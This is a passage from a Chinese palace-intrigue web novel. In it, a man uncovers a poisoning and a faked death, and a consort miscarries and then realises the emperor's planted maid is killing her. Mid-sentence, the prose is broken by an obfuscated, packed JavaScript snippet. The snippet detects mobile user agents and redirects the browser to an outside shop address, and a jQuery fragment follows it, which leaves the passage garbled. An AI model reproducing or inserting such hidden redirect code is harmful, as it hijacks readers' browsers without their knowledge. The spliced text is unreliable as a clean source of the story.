若当真是幻术,那这香岂不正是西天魔教失传已久的毒药“梦断”? 他骤然想到一个问题——她为什么要将如此“珍贵”的清淤膏给他? 为什么要对他表现出那样的关切? 因为这上面有毒! 她恨他!她从一开始就恨他! 可万棠为什么恨他? 难道是屠骁出海之前说了什么? 屠骁为什么会告诉万棠?她竟指望万棠来替她报仇么? 万棠那三脚猫的功夫,岂不等同于羊入虎口? 更何况,以万棠的性子,她难道会老老实实地入宫为妃?难道不该寻个借口假死脱身? 是了!假死脱身!! 难道…… 难道她们根本就是同一个人? 他手中的木雕“啪”地一声落在地上,摔成了几瓣。 他的人已撞破了门扉。 - 酉时正。 甄修仪在痛吟。 她的身子像是被浸在冰水里,又像是被放在火上烤,冷与热在她的四肢百骸里交替奔流。 身下的血正一点点带走她的生机与力气,裙摆早已被染得殷红一片,腹中那撕裂般的坠痛,更是让她连呼吸都觉得困难。 她本以为清微宫是最最安全的地方,可谁知道,这最安全的地方竟要成为她的死地! 清微宫花木扶疏,假山林立,二大王一定是早就藏在了什么地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230729|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,就等着今夜这个千载难逢的机会,来要她的命。 千防万防,竟没有防住一个孩子! 真是好毒的计! “太医……太医怎么还没来……”甄修仪带着哭腔。 素来寡言的冷面宫女握住她的手,温声安慰道:“已差人去叫当值的太医了,药局的女官也已赶来,娘娘且放宽心……” 甄修仪默默垂泪:“我知道,流了这么多血,孩子……孩子一定保不住了……” 说这番话时,她心中奇异地闪过几分庆幸,庆幸总算不必生下这个孩子,庆幸自己终于从日夜的惊惶中解脱。 可那一撞所带来的恐惧却是实实在在的,她随即便意识到,自己失去的不只是孩子,很可能还有性命。 她用力攥着被子,嘶声喊着宁妃的名字:“杨夭这个毒妇!我、我绝不会放过她……” 断断续续哭骂两句,又猛烈地咳嗽起来。 宫女们乱作一团,就在此时,殿外传来一声惊呼:“死人了!” 紧接着便是杂乱的脚步声。 甄修仪心中大骇,死死抓住那冷面宫女的手:“怎么回事?常芸呢?我要见圣人!” 不多时,门外传来一个太监的声音,正是清微宫的掌事常芸。 “修仪娘娘,宫宴那边出了事,圣人尚未回宫。” 甄修仪一怔:“什么事?” 常芸道:“听闻是昭仪……” 他的话没说完,便听得远处有人呼喊,他仓促喊了一声“追!”,脚步声便远去了。 宫女们为甄修仪换下血衣,擦拭身子,又依着司药的吩咐去准备药汤,忙乱过后,终于退到一旁。 甄修仪看着眼前晃动的人影,每一个宫女的鬓边都簪着花,有的是一朵,有的是两朵。 红的,黄的,蓝的,粉的……姹紫嫣红,满目皆芳。 她忽然撑起了半边身子。 她想起来了! 那天在清微宫,那个在花丛中一闪而过的人影,她的头上没有簪花! 她不是清微宫的人! 那身素白的宫装,那淡雅的装扮…… 那人……那人分明是云笈阁的人,正是泼了屠骁一身茶汤的那个宫女! 难道宁妃想将此事栽赃给圣人?难道宁妃本就和圣人是一伙的? 可圣人又有什么理由要害她?她待圣人还不够忠心吗? 不,不对…… 血流得太多,她的身子愈发虚弱,脑子却异常清醒。 她问那冷面宫女:“二大王可曾习过武?” 冷面宫女摇头。 一个没有武功的孩子,是如何悄无声息地避开清微宫层层守卫,藏身于假山之中的? 甄修仪强撑着坐起身,一把抓住那冷面宫女的手腕,厉声道:“今日雪这样大,你为何偏要劝我出来?若不是你,我又怎么会被人撞倒!” 冷面女官抖如风中落叶,不敢抬头:“是……是太医吩咐,娘娘每日需得走动,不可久闷屋内……” 甄修仪手上猛然用力,指甲深陷入对方的皮肉之中:“以你的身手,方才分明可以拉住我,你却没有!是你!你为什么要害我?为什么——” 话说到一半,甄修仪像是被人敲了一棍,陡然愣住了。 她恍然大悟,不是宁妃嫁祸圣人,而是圣人嫁祸宁妃! 她想起常怀德父子每一次对她的“提点”与“密告”,无一不是将她的怨恨引向宁妃。 她又想起上一次落胎,她以为是药出了问题,将一切都怪罪到白司药和宁妃身上。 却忘了,亲手将那碗安胎药递给她的,正是眼前这个看似谦卑的奴婢! 她自以为做出被圣人派来的女官胁迫的样子,对自己是一重掩饰和保护,暗地里,自己才是真正说一不二的主子。 可她错了。 她忘了,这本就是圣人安插在她身边的人。 凄厉的尖叫响起:“圣人害我,圣人——” 话音未落,那素来唯唯诺诺的冷面宫女,忽的抬起手,一把反扣住她的手腕。 尖叫戛然而止。 这一瞬间,甄修仪什么都明白了。 可明白有时候比糊涂更痛苦,因为明白了,也意味着一切已太迟了。